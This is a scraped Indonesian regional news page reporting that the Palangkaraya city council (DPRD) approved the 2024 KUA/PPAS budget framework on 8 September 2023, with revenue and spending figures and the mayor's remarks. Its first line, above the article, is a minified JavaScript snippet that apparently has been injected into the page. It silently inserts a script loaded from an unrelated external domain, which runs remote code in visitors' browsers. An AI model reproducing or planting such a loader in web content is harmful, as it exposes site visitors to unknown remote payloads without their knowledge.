(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,PALANGKARAYA – DPRD Kota Palangkaraya menggelar rapat paripurna ke-2 dalam masa persidangan pertama tahun sidang 2023/2024 di ruangan rapat paripurna DPRD setempat, pada Jumat (08/09/23).
Ketua DPRD Kota Palangkaraya, Sigit Karyawan Yunianto (SKY), memimpin jalannya rapat paripurna yang dihadiri oleh Wali Kota Palangkaraya, Fairid Naparin, beserta jajaran pemerintah.
Rapat paripurna tersebut bertujuan untuk membahas pengesahan Kebijakan Umum Anggaran Pendapatan dan Belanja Daerah (KUA) serta Prioritas Plafon Anggaran Sementara (PPAS) APBD Kota Palangkaraya Tahun 2024.
Dalam laporan Badan Anggaran DPRD setempat, Juru Bicara (Jubir) Noorkhalis Ridha mengungkapkan proyeksi pendapatan dan belanja daerah Kota Palangkaraya untuk tahun anggaran 2024.
Menurut laporan tersebut, pendapatan daerah di tahun 2024 diperkirakan mencapai Rp1.257.877.855.987, sedangkan belanja daerah diproyeksikan mencapai Rp1.285.128.228.457.
SKY menyatakan bahwa badan anggaran DPRD Kota Palangkaraya, setelah melakukan pembahasan dengan tim anggaran Pemerintah Kota Palangkaraya, menerima dan menyetujui proyeksi anggaran ini untuk dituangkan dalam nota persetujuan yang akan ditandatangani oleh pimpinan DPRD bersama pemerintah Kota Palangkaraya.
Kemudian, SKY menandatangani keputusan DPRD Kota Palangkaraya dan berita acara persetujuan bersama dengan Wali Kota Palangkaraya, Fairid Naparin.
Dalam kesempatan tersebut, SKY mengungkapkan bahwa nota KUA dan PPAS Tahun Anggaran 2024 mencatat peningkatan dibandingkan tahun sebelumnya dan berharap adanya penambahan pada APBD tahun 2024.
Sementara itu, Wali Kota Palangkaraya, Fairid Naparin, menjelaskan bahwa terjadi peningkatan pada sektor Pendapatan Asli Daerah (PAD) dalam KUA dan PPAS 2024.
“Salah satunya adalah di Badan Pendapatan, Pengelolaan dan Retribusi Daerah (BPPRD), di mana terjadi peningkatan pendapatan daerah. Pada tahun 2023, PAD mencapai sekitar Rp197 miliar, sementara di tahun 2024, diperkirakan akan bertambah sekitar Rp30 miliar.
Sebagai sektor yang masih memiliki potensi untuk ditingkatkan, kami akan berfokus pada peningkatan pendapatan di BPPRD,” katanya.
Rapat paripurna ini menunjukkan komitmen DPRD Kota Palangkaraya dan pemerintah Kota Palangkaraya dalam memastikan kelangsungan pembangunan dan kesejahteraan masyarakat melalui pengesahan anggaran yang sesuai dengan kebutuhan dan aspirasi warga.(www.kanalkalimantan.com/hms)
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More
KANALKALIMANTAN.COM - Program 'Lingkar Takdir' merupakan salah satu acara yang memecahkan berbagai masalah kehidupan dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi menetapkan H… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menolak seluruh nota keberatan… Read More
This website uses cookies.